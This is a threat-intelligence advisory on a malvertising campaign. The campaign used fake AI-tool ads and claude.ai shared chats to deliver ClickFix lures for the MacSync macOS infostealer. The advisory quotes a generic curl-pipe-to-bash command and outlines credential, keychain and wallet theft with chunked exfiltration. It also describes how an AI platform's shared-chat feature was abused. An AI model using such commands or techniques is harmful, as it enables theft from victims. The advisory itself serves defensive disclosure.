# Anthropic claude.ai Shared-Chat Feature Abused in ClickFix Malvertising Campaign Delivering MacSync macOS Infostealer

> A seven-week malvertising operation tracked by Trend Micro (TrendAI Research) hijacked Google Ads for popular AI developer tools to funnel 2,000+ victims to ClickFix lure pages, then escalated to hosting the social-engineering instructions inside Anthropic's own claude.ai shared-chat feature to deliver the MacSync macOS credential-stealing infostealer. The campaign used 106 unique malicious hostnames across six waves and concentrated heavily on Asia-Pacific (Taiwan 30.5% of traffic).

- **Published:** 2026-06-18T00:00:00Z
- **Last reviewed:** 2026-06-18T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0856
- **ID:** TL-2026-0856
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 23 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Trend Micro's TrendAI Research team documented a malvertising and social-engineering campaign that weaponized Anthropic's claude.ai shared-conversation (shared-chat) feature as a malware-delivery surface for the MacSync macOS infostealer. The operators began by purchasing Google Ads impersonating popular AI developer and macOS maintenance tools (Homebrew, Claude Code, ChatGPT Codex/Atlas, Perplexity, Cursor IDE, JetBrains, and generic 'Mac storage / clean / fix' utilities), funneling more than 2,000 victims to ClickFix-style fake install pages. Early waves hosted lures on disposable infrastructure including GitLab Pages (90+ malicious *.gitlab.io subdomains), Cloudflare Pages, Squarespace, and Tencent EdgeOne. The campaign then made a notable tactical leap by relocating the ClickFix instructions into claude.ai shared chats: because victims landed on a fully legitimate, trusted, TLS-valid Anthropic domain, browser warnings, manual URL inspection, and Google Safe Browsing heuristics were far easier to evade.

The ClickFix social-engineering pattern instructs the victim to copy and paste a one-line terminal command (typically a curl/bash pipe such as 'curl -fsSL <url> | /bin/bash') that often contained a base64-encoded script. Once decoded and executed, the loader fetched a second-stage payload. The decoder first checks whether a Russian keyboard layout or input method is enabled on the macOS host and aborts if so — a classic CIS-region avoidance / sandbox-discrimination measure. The second stage is the MacSync infostealer, which retrieves remote AppleScript commands from an API-key-gated C2 server and executes them in memory via osascript (no on-disk payload), defeating static analysis and many behavioral detections.

MacSync displays a deceptive macOS-style password prompt to harvest the user's login credential and then steals an extensive set of secrets: macOS Keychain databases, SSH private keys, AWS credentials, Kubernetes configs and other cloud keys, Chromium- and Firefox-based browser profiles (cookies, autofill, history, saved logins, extension storage), Safari cookies/autofill/notes, Telegram Desktop data, and cryptocurrency wallet data from both browser-based and desktop wallets — including seed-phrase exfiltration logic and binary patching of Ledger Live to inject attacker-supplied components. Collected data is staged as a ZIP archive in /tmp (e.g. /tmp/osalogging.zip), split into ~10 MB chunks, and exfiltrated to a hardcoded second-stage host over HTTPS via repeated authenticated PUT requests using a unique upload session ID, while a fake system-error message masks the activity and the loader relaunches as a background daemon with I/O redirected to /dev/null. Trend Micro observed at least 45 unique shared-conversation IDs, the most heavily trafficked (498818d9-1ddc-4fbb-9fa7-56dfb84840b0) receiving 55 confirmed traffic counts. After notification by TrendAI Research, Anthropic investigated, banned the responsible accounts, disabled the malicious shared conversations, and began implementing additional abuse mitigations for the shared-chat feature. No CVE or CVSS applies: this is platform/feature abuse and social engineering, not exploitation of a software vulnerability.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1608 Stage Capabilities
- T1650 Acquire Access
- T1189 Drive-by Compromise
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1543 Create or Modify System Process
- T1140 Deobfuscate/Decode Files or Information
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1497 Virtualization/Sandbox Evasion
- T1070 Indicator Removal
- T1056 Input Capture
- T1555 Credentials from Password Stores
- T1552 Unsecured Credentials
- T1539 Steal Web Session Cookie
- T1614 System Location Discovery
- T1518 Software Discovery
- T1005 Data from Local System
- T1074 Data Staged
- T1560 Archive Collected Data
- T1071 Application Layer Protocol
- T1102 Web Service
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel

## Sources

- [Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign](https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html)
- [InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise](https://www.trendmicro.com/en_us/research/26/e/installfix-and-claude-code.html)
- [ThreatsDay Bulletin: Claude Chat Abuse, NastyC2 npm Packages, Device-Code Phishing](https://thehackernews.com/2026/06/threatsday-bulletin-claude-chat-abuse.html)
- [ClickFix Campaigns Spread MacSync macOS Infostealer via Fake AI Tool Installers](https://thehackernews.com/2026/03/clickfix-campaigns-spread-macsync-macos.html)
- [Evil evolution: ClickFix and macOS infostealers](https://www.sophos.com/en-us/blog/evil-evolution-clickfix-and-macos-infostealers)
- [Fake Homebrew Ad Leads to MacSync Stealer Infection](https://socprime.com/active-threats/fake-homebrew-ad-leads-to-macsync-stealer-infection/)
- [Hackers Abuse Claude.ai Shared Chat Feature to Host the ClickFix Social Engineering Instructions](https://cybersecuritynews.com/claude-ai-shared-chat-feature-abused/)
- [Hackers Abuse Google Ads and Claude.ai Shared Chats to Distribute macOS Malware](https://www.ghacks.net/2026/05/11/hackers-abuse-google-ads-and-claude-ai-shared-chats-to-distribute-macos-malware/)
- [ClickFix campaigns target macOS users via MacSync infostealer](https://www.scworld.com/news/clickfix-campaigns-target-macos-users-via-macsync-infostealer)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0856